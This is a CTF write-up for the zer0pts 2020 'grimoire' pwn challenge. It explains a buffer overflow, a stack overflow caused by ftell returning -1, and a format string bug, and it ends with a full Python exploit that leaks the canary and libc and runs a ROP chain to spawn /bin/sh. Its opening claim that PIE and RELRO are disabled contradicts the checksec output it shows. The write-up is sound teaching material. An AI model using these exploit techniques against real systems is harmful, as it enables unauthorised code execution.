Try   HackMD

[zer0pts CTF 2020] grimoire

tags: zer0pts CTF pwn

概要

We're given an ELF, libc and the source code. PIE and RELRO are disabled.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   101 Symbols     Yes     0               14      chall

We can open/read/edit/close a book in this program.
open calls fopen(filepath, "r") but filepath is fixed to grimoire.txt. close calls fclose(fp). In read, it gets the filesize by ftell and freads the contents into local buffer. If it works, it'll memcpy the buffer to a global variable. You can edit the contents in edit.

Solution

Vulnerability-1

The first one is simple.
The size in which we can write in edit is fixed to GRIMOIRE_SIZE, even though we can specify the starting offset. So, it has Buffer Overflow. There's filepath after text, which we may control by this vulnerability.
*You can't guess the filepath of the flag

Vulnerability-2

Reading the source code of grimoire_read, we see it gets the filesize by ftell:

    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    memset(buffer, 0, GRIMOIRE_SIZE);
    if (fread(buffer, sizeof(char), size, fp) == 0) 

The size is of unsigned short.
ftell returns -1 for some special files, which can be regarded as a big value in unsigned short. This can cause Stack Overflow.

Vulnerability-3

Let's check the code around error function:

void error(const char *s, char *errstring)
{
  const char *colon;
  char *errmsg;
  
  if (s == NULL || *s == '\0') {
    s = colon = "";
  } else {
    colon = ": ";
  }

  errmsg = (char*)malloc(strlen(s) + strlen(colon) + strlen(errstring) + 2);
  snprintf(errmsg, malloc_usable_size(errmsg), "%s%s%s\n", s, colon, errstring);
  fprintf(stderr, errmsg);
  free(errmsg);
}

It's similar to perror but writes buffer made by snprintf to stderr directly. Let's check if we can control s anywhere.

  if (fp == NULL) {
    error(filepath, "No such file or directory");
    puts("You lost the grimoire...");
    return;
  }

As we can control the data of filepath using Vulnerability-1, it causes Format String Bug.

Plan

Because the FSB happens on a global variable, we don't have AAW privmitive. Still, we can leak the libc/heap/stack adresses.

We use Vulnerability-2 to cause a stack overflow by opening /proc/self/fd/0. However, we have problem here. As we changed filepath in order to leak addresses, we can't open a file anymore.
We craft an FSB payload which leaks the canary and libc value, while on the other hand changes the filepath to an available one. The first argument of the format string is filepath. Thus, we can write some data there.
Some short paths such as . or ./ are available for fopen function.

After FSB works, you can edit filepath again and open /proc/self/fd/0 to ROP.

Exploit

from ptrlib import * def open_book(): sock.sendlineafter("> ", "1") return def read_book(): sock.sendlineafter("> ", "2") x = sock.recvuntil("\n") if b"fread" in x: return None text = sock.recvuntil("*").rstrip(b"*") return text def read_book_pwn(data): sock.sendlineafter("> ", "2") sock.send(data) sock.recvuntil("*\n") text = sock.recvuntil("*").rstrip(b"*") return text def edit_book(offset, text): sock.sendlineafter("> ", "3") sock.sendlineafter("Offset: ", str(offset)) sock.sendafter("Text: ", text) return def close_book(): sock.sendlineafter("> ", "4") return libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("../distfiles/chall") sock = Socket("localhost", 9008) delta = 0xe7 rop_pop_rdi = 0x0002155f rop_pop_rsi = 0x00023e6a rop_pop_rdx = 0x00001b96 rop_pop_rax = 0x000439c7 rop_syscall = 0x000013c0 # Leak libc base and canary payload = b'A' * 0x10 payload += p64(0) # fp payload += p64(0) # init payload += b"\x00" * 0x10 payload += b"%10$p.%22$p." # filepath (34 bytes will be printed here) payload += str2bytes("%{}c%6$hn".format(46 - 34)) # set filepath = ".\x00" open_book() read_book() edit_book(0x1f0, payload) open_book() r = sock.recvuntil(":").rstrip(b":").split(b".") canary = int(r[0], 16) libc_base = int(r[1], 16) - libc.symbol("__libc_start_main") - delta logger.info("canary = " + hex(canary)) logger.info("libc base = " + hex(libc_base)) # ROP payload = b'A' * 0x10 payload += p64(0) # fp payload += p64(0) # init payload += b"\x00" * 0x10 payload += b"/proc/self/fd/0\x00" # filepath open_book() read_book() edit_book(0x1f0, payload) payload = b"A" * (0x200)# - 3 + 8) payload += p64(0) payload += p64(canary) payload += p64(0) payload += p64(libc_base + rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + rop_pop_rsi) payload += p64(0) payload += p64(libc_base + rop_pop_rdx) payload += p64(0) payload += p64(libc_base + rop_pop_rax) payload += p64(59) payload += p64(libc_base + rop_syscall) payload += b'\x00' * (0x4000 - len(payload)) open_book() read_book_pwn(payload) sock.recvline() # Get the shell!!! sock.interactive()